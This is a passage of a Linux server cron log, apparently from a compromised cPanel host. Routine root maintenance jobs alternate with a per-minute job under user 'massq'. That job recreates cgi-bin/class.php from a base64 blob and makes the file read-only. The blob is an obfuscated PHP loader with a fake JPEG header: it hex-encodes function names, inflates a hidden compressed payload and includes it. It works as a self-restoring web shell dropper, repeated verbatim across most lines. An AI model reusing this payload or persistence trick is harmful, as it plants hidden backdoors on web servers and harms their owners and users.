"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 02:38:01 server CROND[12843]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 02:39:01 server CROND[12883]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 13 02:39:01 server CROND[12884]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 02:40:01 server CROND[12932]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 13 02:40:01 server CROND[12933]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 02:40:01 server CROND[12935]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 13 02:40:01 server CROND[12934]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 13 02:41:01 server CROND[13140]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 02:42:01 server CROND[13188]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 13 02:42:01 server CROND[13189]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 02:43:01 server CROND[13250]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 02:44:01 server CROND[13293]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 02:45:01 server CROND[13359]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 13 02:45:01 server CROND[13360]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 13 02:45:01 server CROND[13363]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 02:46:01 server CROND[13555]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 02:47:01 server CROND[13614]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 02:47:01 server CROND[13615]: (root) CMD ((/usr/local/cpanel/scripts/fix-cpanel-perl; /usr/local/cpanel/scripts/upcp --cron > /dev/null 2>&1 > /dev/null))
Apr 13 02:48:01 server CROND[14074]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 02:48:11 server crontab[14119]: (root) LIST (root)
Apr 13 02:48:11 server crontab[14121]: (root) LIST (root)
Apr 13 02:48:16 server crontab[14220]: (root) LIST (root)
Apr 13 02:49:01 server CROND[14817]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 02:50:01 server CROND[14875]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 13 02:50:01 server CROND[14877]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 13 02:50:01 server CROND[14879]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 13 02:50:01 server CROND[14880]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ